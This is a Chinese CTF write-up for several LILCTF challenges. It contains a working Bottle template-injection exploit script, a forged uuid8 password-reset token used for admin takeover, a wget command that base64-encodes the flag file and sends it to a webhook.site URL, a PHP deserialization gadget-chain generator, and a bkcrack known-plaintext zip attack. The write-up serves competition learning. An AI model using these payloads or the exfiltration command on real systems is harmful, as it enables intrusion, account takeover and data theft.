WEB
ez_bottle
题目给了源码
看到明显的黑名单,猜测可能存在模板注入,结合题目名称和整体也可以大概猜到
后端用bottle框架,大概逻辑是upload上传zip文件,如果没被过滤可以通过访问/view/路由来渲染读取
所以逻辑就是把payload写入文件,压成zip上传,然后访问来造成模板注入
问题是如何绕过
黑名单如下
BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals","get", "open"]
把大括号禁用了,传统模板注入不大行,所以考虑使用Bottle SimpleTemplate模板的内容
https://www.osgeo.cn/bottle/stpl.html
可以看到,使用%开头的Bottle SimpleTemplate模板内容不需要出现大括号一类的字符,所以我们可以自由import一些python的自带库
仅仅读取文件的话可以使用python的fileinput库
然后使用assert直接抛出打印即可
我的代码如下
import requests
import zipfile
import io
import re
import sys
BASE = "http://challenge.xinshi.fun:35054"
tpl = (
"% import fileinput\n"
"% m = ''.join(fileinput.input('/flag'))\n"
"% assert 0, m\n"
)
def make_zip_bytes(name, content):
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", compression=zipfile.ZIP_DEFLATED) as zf:
zf.writestr(name, content.encode('utf-8'))
buf.seek(0)
return buf
def upload_zip(zipbuf):
files = {"file": ("fuck.zip", zipbuf, "application/zip")}
r = requests.post(f"{BASE}/upload", files=files, timeout=20)
return r
def parse_view_link(text):
m = re.search(r"/view/([0-9a-f]{32})/(\S+)", text)
if not m:
return None, None
return m.group(1), m.group(2)
def fetch_view(md5, fname):
r = requests.get(f"{BASE}/view/{md5}/{fname}", timeout=20)
return r
def extract_flag(text):
# 尝试抽取常见 flag 形式 flag{...}
m = re.search(r"(LILCTF\{.*?\}|FLAG\{.*?\})", text, re.IGNORECASE | re.DOTALL)
return m.group(0) if m else None
def main():
print("[*] 构造 ZIP ...")
zb = make_zip_bytes("read.tpl", tpl)
print("[*] 上传到 /upload ...")
try:
resp = upload_zip(zb)
except Exception as e:
print("[!] 上传请求失败:", e)
sys.exit(1)
print("[*] 上传返回(可能含 view 链接):\n")
print(resp.text)
md5, fname = parse_view_link(resp.text)
if not md5:
print("[!] 无法解析 /view 链接")
sys.exit(1)
print(f"[*] 解析到 view: /view/{md5}/{fname}\n[*] 请求该页面 ...")
try:
v = fetch_view(md5, fname)
except Exception as e:
print("[!] 请求 /view 时出错:", e)
if hasattr(e, 'response') and e.response is not None:
print(e.response.text)
sys.exit(1)
print("\n[*] /view 页面内容(原文):\n")
print(v.text)
flag = extract_flag(v.text or "")
if flag:
print("\n[+] 找到 flag:", flag)
else:
print("\n[-] 未直接找到 flag{...} 格式。")
print("\n[DEBUG] raw bytes repr (前 2000 字节):")
print(repr(v.content[:2000]))
if __name__ == "__main__":
main()
Ekko_note
题目给出源码,大概看了一下是flask框架,功能是注册登录,api获取时间和执行命令,有两个要解决的点
一个是要进入api和命令执行,要获取admin权限
一个是要命令执行,必须让时间调整到2066年
我们一个一个解决
可以看到网页制作了完整的修改密码界面,并且token的验证采用uuid8,我们已知username=admin,padding函数也不用自己写,所以可以尝试修改admin的密码
Uuid8只在python3.14新添加,所以需要使用python3.14进行伪造
Admin的邮箱是admin@example.com
知道了这些还不够,注意到
本地测试过random的种子能够影响uuid8的生成,所以我们需要获取SERVER_START_TIME
在server_info路由可以获取信息
所以现在利用链子就很明显了
首先需要注册一个账号访问server_info路由获取时间戳
用一下代码伪造token
#!/usr/bin/env python3.14
import uuid
import random
SERVER_START_TIME = 1755410207.965607
random.seed(SERVER_START_TIME)
def padding(input_string):
byte_string = input_string.encode('utf-8')
if len(byte_string) > 6: byte_string = byte_string[:6]
padded_byte_string = byte_string.ljust(6, b'\x00')
padded_int = int.from_bytes(padded_byte_string, byteorder='big')
return padded_int
if __name__ == "__main__":
token = uuid.uuid8(a = padding("admin"))
print("admin token =", token)
然后尝试修改管理员密码
成功伪造登录
根据源码,我们必须通过设置api来调整时间,也就是必须让api返回一个date数据,满足格式即可
可以用这个api:https://httpbin.org/response-headers?date=2066-01-01T00:00:00
可以自定义参数和返回数据
直接填入即可
接下来是执行命令,考虑到api那边可以出网,所以首先想到curl外带,但是试了一下没成功
后边使用的是wget成功读取
使用命令
wget https://webhook.site/4637e08b-8528-4bb8-954d-d95d7f6835c3/`cat /f* | base64`
Your Uns3r
Kengwang师傅的反序列化耶
当初就是看kengwang师傅入的web了,反序列化那篇文章反复拜读!
OK,看这题只有两个类,代码量不大,利用点是User类exec方法的include函数,exec方法被__destruct方法调用,所以我们首先要触发__destruct方法,注意到底下的throw异常抛出,所以首先用数组设为0的方式来绕过GC
admin的匹配可以用十六进制进行绕过,Access类主要用在include函数的参数函数那边,要让Access类的getToken方法返回我们想要读取的文件,中间被加上了lilctf,所以可以构造prefix=/etc/,suffix=/../../flag
这样返回值就能正常读取
由于php对类名的大小写不敏感,所以把Access改小写就能绕过
把Access类的内容赋值给User的value,username设置为/61dmin,ser参数由于经过了再次反序列化,所以类名和我们构造的value值肯定不一样,所以不用管
最终生成脚本如下
<?php
class User
{
public $username;
public $value;
public function exec()
{
echo "2222\n\n";
$ser = unserialize(serialize(unserialize($this->value)));
if ($ser != $this->value && $ser instanceof Access) {
include($ser->getToken());
}
}
public function __destruct()
{
echo "1111\n\n";
if ($this->username == "admin") {
$this->exec();
}
}
}
class Access
{
protected $prefix='/etc/';
protected $suffix="/../../flag";
public function getToken()
{
echo "3333\n\n";
if (!is_string($this->prefix) || !is_string($this->suffix)) {
throw new Exception("Go to HELL!");
}
$result = $this->prefix . 'lilctf' . $this->suffix;
if (strpos($result, 'pearcmd') !== false) {
throw new Exception("Can I have peachcmd?");
}
echo "4444\n\n";
return $result;
}
}
$us=new User();
$us->username="admin";
$Ac=new Access();
$sd=serialize($Ac);
$rd=str_replace("Access","access",$sd);
$us->value=$rd;
$fk=array($us,0);
$c1=str_replace("i:1;i:0;}","i:0;i:0;}",serialize($fk));
$c2=str_replace('s:5:"admin"','S:5:"\61dmin"',$c1);
echo urlencode($c2);
v我50(R)MB
访问前端源码注意到url
直接访问下载不全,抓包试试看
Burp可以正常返回,提取16进制查看即可
提前放出附件
只给了一个zip文件什么都没有给,内部是一个tar文件
我们首先需要了解tar文件的格式
所以可以了解到,tar文件的每一块都是严格的512字节,并且末尾有大量的00
所以考虑明文攻击
先用dd生成1024位的00
dd if=/dev/zero of=plain1024.bin bs=1 count=1024
然后用bkcrack进行明文攻击
但是我们需要知道flag.tar中的00结尾块的开始偏移量
所以我们要知道flag.tar的大小
大小正正好好的2kb,那我们直接设置偏移量为1024即可
然后直接导出文件即可
解压拿到flag